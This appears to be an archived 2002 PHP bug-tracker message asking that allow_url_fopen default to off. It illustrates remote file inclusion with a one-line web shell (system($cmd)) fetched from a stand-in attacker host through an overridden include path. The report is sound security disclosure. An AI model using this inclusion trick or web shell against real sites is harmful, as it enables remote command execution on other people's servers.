#21085 [NEW]: allow_url_fopen is on be default.
| From: | szii at sziisoft dot com | Date: | Wed, 18 Dec 2002 21:34:31 +0000 |
| Subject: | #21085 [NEW]: allow_url_fopen is on be default. | ||
| Groups: | php.bugs | ||
| Request: | Send a blank email to php-bugs+get-27998@lists.php.net to get a copy of this message | ||
From: szii@sziisoft.com
Operating system: ALL
PHP version: 4.3.0RC3
PHP Bug Type: Unknown/Other Function
Bug description: allow_url_fopen is on be default.
PHP by default allows include() calls which contain URL/URI strings.
register_globals=on
include($somevar/file.php); // real site code
exploit by overriding $somevar to http://badsite.evilcode.com
where file.php is
<?php system($cmd); ?>
This causes the "real site" to execute the $cmd command passed in on the
URL/URI string.
Requesting that allow_url_fopen be set to "Off" for future releases and a
documentation note made about the caveat.
-Mike
--
Edit bug report at http://bugs.php.net/?id=21085&edit=1
--
Try a CVS snapshot: http://bugs.php.net/fix.php?id=21085&r=trysnapshot
Fixed in CVS: http://bugs.php.net/fix.php?id=21085&r=fixedcvs
Fixed in release: http://bugs.php.net/fix.php?id=21085&r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=21085&r=needtrace
Try newer version: http://bugs.php.net/fix.php?id=21085&r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=21085&r=support
Expected behavior: http://bugs.php.net/fix.php?id=21085&r=notwrong
Not enough info: http://bugs.php.net/fix.php?id=21085&r=notenoughinfo
Submitted twice: http://bugs.php.net/fix.php?id=21085&r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=21085&r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=21085&r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=21085&r=dst
IIS Stability: http://bugs.php.net/fix.php?id=21085&r=isapi